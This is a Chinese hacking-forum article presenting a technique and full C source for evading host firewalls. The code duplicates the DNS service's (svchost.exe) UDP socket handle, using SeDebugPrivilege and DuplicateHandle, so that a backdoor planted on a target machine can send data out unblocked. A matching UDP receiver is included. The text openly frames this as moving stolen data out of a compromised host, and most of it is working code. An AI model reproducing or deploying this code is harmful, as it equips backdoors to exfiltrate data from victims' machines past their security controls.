黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]一种新的穿透防火墙的数据传输技术(附源码)
        ★★★★★

一种新的穿透防火墙的数据传输技术(附源码)

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-8-18 10:55:56
使用该技术背景:
在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么). 
针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.
相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:
将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:

1. 找出目标进程
2. 找出SOCKET句柄
2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用.
3. 用转换后的SOCKET进行数据传输

    上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也
可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.
针对不同系统不同进程我们很难定位一个稳定的进程SOCKET. 看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的"黄金大道".

    我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀...

下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子.
编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.
具体解决方法请细看注释部分...

以下是引用片段:
/*++ 

  Made By ZwelL 
  zwell@sohu.com 
  2005.4.12 
--*/ 

#include <winsock2.h> 
#include <stdio.h> 
#include <wtsapi32.h> 

#pragma comment(lib, "ws2_32") 
#pragma comment(lib, "wtsapi32") 

#define NT_SUCCESS(status)          ((NTSTATUS)(status)>=0) 
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 

typedef LONG    NTSTATUS; 

typedef struct _SYSTEM_HANDLE_INFORMATION 

    ULONG            ProcessId; 
    UCHAR            ObjectTypeNumber; 
    UCHAR            Flags; 
    USHORT            Handle; 
    PVOID            Object; 
    ACCESS_MASK        GrantedAccess; 
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; 

typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG); 

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; 

BOOL LocateNtdllEntry ( void ) 

    BOOL    ret         = FALSE; 
    char    NTDLL_DLL[] = "ntdll.dll"; 
    HMODULE ntdll_dll   = NULL; 


    if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL ) 
    { 
        printf( "GetModuleHandle() failed"); 
        return( FALSE ); 
    } 
    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) ) 
    { 
        goto LocateNtdllEntry_exit; 
    } 
    ret = TRUE; 

LocateNtdllEntry_exit: 

    if ( FALSE == ret ) 
    { 
        printf( "GetProcAddress() failed"); 
    } 
    ntdll_dll = NULL; 
    return( ret ); 



/*++ 
This routine is used to get a process’s username from it’s SID 
--*/ 
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName) 

    // sanity checks and default value 
    if (pUserSid == NULL) 
        return false; 
    strcpy(szUserName, "?"); 

    SID_NAME_USE   snu; 
    TCHAR          szUser[_MAX_PATH]; 
    DWORD          chUser = _MAX_PATH; 
    PDWORD         pcchUser = &chUser;  
    TCHAR          szDomain[_MAX_PATH]; 
    DWORD          chDomain = _MAX_PATH; 
    PDWORD         pcchDomain = &chDomain; 

    // Retrieve user name and domain name based on user’s SID. 
    if ( 
        ::LookupAccountSid( 
        NULL,  
        pUserSid,  
        szUser,  
        pcchUser,  
        szDomain,  
        pcchDomain,  
        &snu 
        ) 
        ) 
    { 
        wsprintf(szUserName, "%s", szUser); 
    } 
    else 
    { 
        return false; 
    } 

    return true; 
}   


/*++ 

This routine is used to get the DNS process’s Id 
   
Here, I use WTSEnumerateProcesses to get process user Sid,  
and then get the process user name. Beacause as it’s a "NETWORK SERVICE",  
we cann’t use OpenProcessToken to catch the DNS process’s token information, 
even if we has the privilege in catching the SYSTEM’s. 

--*/ 
DWORD GetDNSProcessId() 

    PWTS_PROCESS_INFO pProcessInfo = NULL; 
    DWORD             ProcessCount = 0; 
    char              szUserName[255]; 
    DWORD              Id = -1; 

    if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount)) 
    { 
        // dump each process description 
        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++) 
        { 

            if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 ) 
            { 
                GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName); 
                if( strcmp(szUserName, "NETWORK SERVICE") == 0) 
                { 
                    Id = pProcessInfo[CurrentProcess].ProcessId; 
                    break; 
                } 
            } 
        } 

        WTSFreeMemory(pProcessInfo); 
    } 

    return Id; 



/*++ 
This doesn’t work as we know, sign... 
but you can use the routine for other useing... 
--*/ 
/* 
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID) 

    HANDLE hProcess = NULL,  
            hAccessToken = NULL; 
    TCHAR InfoBuffer[1000], szDomainName[200]; 
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer; 
    DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200; 
    SID_NAME_USE snu; 

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID); 
    if(hProcess == NULL) 
    { 
        printf("OpenProcess wrong"); 
        CloseHandle(hProcess); 
        return false; 
    } 

    if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken)) 
    { 
        printf("OpenProcessToken wrong:%08x", GetLastError()); 
        return false; 
    } 

    GetTokenInformation(hAccessToken,TokenUser,InfoBuffer, 
        1000, &dwInfoBufferSize); 

    LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName, 
        &dwAccountSize,szDomainName, &dwDomainSize, &snu); 

    if(hProcess) 
        CloseHandle(hProcess); 
    if(hAccessToken) 
        CloseHandle(hAccessToken); 
    return true; 
}*/ 


/*++ 
Now, it is the most important stuff... ^_^ 
--*/ 
SOCKET GetSocketFromId (DWORD PID) 

    NTSTATUS                     status; 
    PVOID                        buf   = NULL; 
    ULONG                        size  = 1; 
    ULONG                        NumOfHandle = 0; 
    ULONG                        i; 
    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL; 
    HANDLE    sock = NULL; 
    DWORD    n; 

    buf=malloc(0x1000); 
    if(buf == NULL) 
    { 
        printf("malloc wrong\n"); 
        return NULL; 
    } 
    status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n ); 
    if(STATUS_INFO_LENGTH_MISMATCH == status) 
    { 
        free(buf); 
        buf=malloc(n); 
        if(buf == NULL) 
        { 
            printf("malloc wrong\n"); 
            return NULL; 
        } 
        status = ZwQuerySystemInformation( 0x10, buf, n, NULL); 
    } 
    else 
    { 
        printf("ZwQuerySystemInformation wrong\n"); 
        return NULL; 
    } 

    NumOfHandle = *(ULONG*)buf; 

    h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4); 

    for(i = 0; i<NumOfHandle ;i++) 
    { 
        try 
        { 
            if( ( h_info[i].ProcessId == PID )  && ( h_info[i].ObjectTypeNumber == 0x1c )  
                && (h_info[i].Handle!=0x2c)    // I don’t know why if the Handle equal to 0x2c, in my test, it stops at getsockname() 
                                            // So I jump over this situation...  
                                            // May be it’s different in your system,  
                ) //wind2000 is 0x1a 
            { 
                //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber); 
                if( 0 == DuplicateHandle( 
                    OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),  
                    (HANDLE)h_info[i].Handle,  
                    GetCurrentProcess(),  
                    &sock,  
                    STANDARD_RIGHTS_REQUIRED,  
                    true,  
                    DUPLICATE_SAME_ACCESS) 
                    ) 
                { 
                    printf("DuplicateHandle wrong:%8x", GetLastError()); 
                    continue; 
                } 

                //printf("DuplicateHandle ok\n"); 
                sockaddr_in name = {0}; 
                name.sin_family = AF_INET; 
                int namelen = sizeof(sockaddr_in); 
                getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen ); 
                //printf("PORT=%5d\n",    ntohs( name.sin_port ));  
                if(ntohs(name.sin_port)>0)    // if port > 0, then we can use it 
                    break; 
            } 
        } 
        catch(...) 
        { 
            continue; 
        } 
    } 

    if ( buf != NULL ) 
    { 
        free( buf ); 
    } 
    return (SOCKET)sock; 

/*++ 
This is not required... 
--*/ 
BOOL EnablePrivilege (PCSTR name) 

    HANDLE hToken; 
    BOOL rv; 

    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} }; 
    LookupPrivilegeValue ( 
        0, 
        name, 
        &priv.Privileges[0].Luid 
        ); 

    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 

    OpenProcessToken( 
        GetCurrentProcess (), 
        TOKEN_ADJUST_PRIVILEGES, 
        &hToken 
        ); 

    AdjustTokenPrivileges ( 
        hToken, 
        FALSE, 
        &priv, 
        sizeof priv, 
        0, 
        0 
        ); 

    rv = GetLastError () == ERROR_SUCCESS; 

    CloseHandle (hToken); 
    return rv; 


void main()  

    WSADATA wsaData; 
    char    testbuf[255]; 
    SOCKET    sock; 
    sockaddr_in RecvAddr; 

    int iResult = WSAStartup(MAKEWORD(2,2), &wsaData); 
    if (iResult != NO_ERROR) 
        printf("Error at WSAStartup()\n"); 

    if(!LocateNtdllEntry()) 
        return; 

    if(!EnablePrivilege (SE_DEBUG_NAME)) 
    { 
        printf("EnablePrivilege wrong\n"); 
        return; 
    } 

    sock = GetSocketFromId(GetDNSProcessId()); 
    if( sock==NULL) 
    { 
        printf("GetSocketFromId wrong\n"); 
        return; 
    } 

    //Change there value... 
    RecvAddr.sin_family = AF_INET; 
    RecvAddr.sin_port = htons(5555);  
    RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 

    if(SOCKET_ERROR == sendto(sock,  
            "test",  
            5,  
            0,  
            (SOCKADDR *) &RecvAddr,  
            sizeof(RecvAddr))) 
    { 
        printf("sendto wrong:%d\n", WSAGetLastError()); 
    } 
    else 
    { 
        printf("send ok... Have fun, right? ^_^\n"); 
    } 
     
    getchar(); 

    //WSACleanup(); 
    return; 


很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,
因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,
但是怎么也不行,所以换个方法.用到了wtsapi32库函数.

再用下面的代码测试:

以下是引用片段:
/*++ 
UdpReceiver 
--*/ 
#include <stdio.h> 
#include "winsock2.h" 

#pragma comment(lib, "ws2_32") 

void main()  

  WSADATA wsaData; 
  SOCKET RecvSocket; 
  sockaddr_in RecvAddr; 
  int Port = 5555; 
  char RecvBuf[1024]; 
  int  BufLen = 1024; 
  sockaddr_in SenderAddr; 
  int SenderAddrSize = sizeof(SenderAddr); 

  //----------------------------------------------- 
  // Initialize Winsock 
  WSAStartup(MAKEWORD(2,2), &wsaData); 

  //----------------------------------------------- 
  // Create a receiver socket to receive datagrams 
  RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 

  //----------------------------------------------- 
  // Bind the socket to any address and the specified port. 
  RecvAddr.sin_family = AF_INET; 
  RecvAddr.sin_port = htons(Port); 
  RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY); 

  bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr)); 

  //----------------------------------------------- 
  // Call the recvfrom function to receive datagrams 
  // on the bound socket. 
  printf("Receiving datagrams...\n"); 
  while(1) 
  { 
    recvfrom(RecvSocket,  
        RecvBuf,  
        BufLen,  
        0,  
        (SOCKADDR *)&SenderAddr,  
        &SenderAddrSize); 
    printf("%s\n", RecvBuf); 
  } 

  //----------------------------------------------- 
  // Close the socket when finished receiving datagrams 
  printf("Finished receiving. Closing socket.\n"); 
  closesocket(RecvSocket); 

  //----------------------------------------------- 
  // Clean up and exit. 
  printf("Exiting.\n"); 
  WSACleanup(); 
  return; 

测试步骤:
1. 在一台机器上执行UdpReceiver,
2. 在安装防火墙的机器上执行第一个程序.
文章录入:cainiaowang    责任编辑:xinlian 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886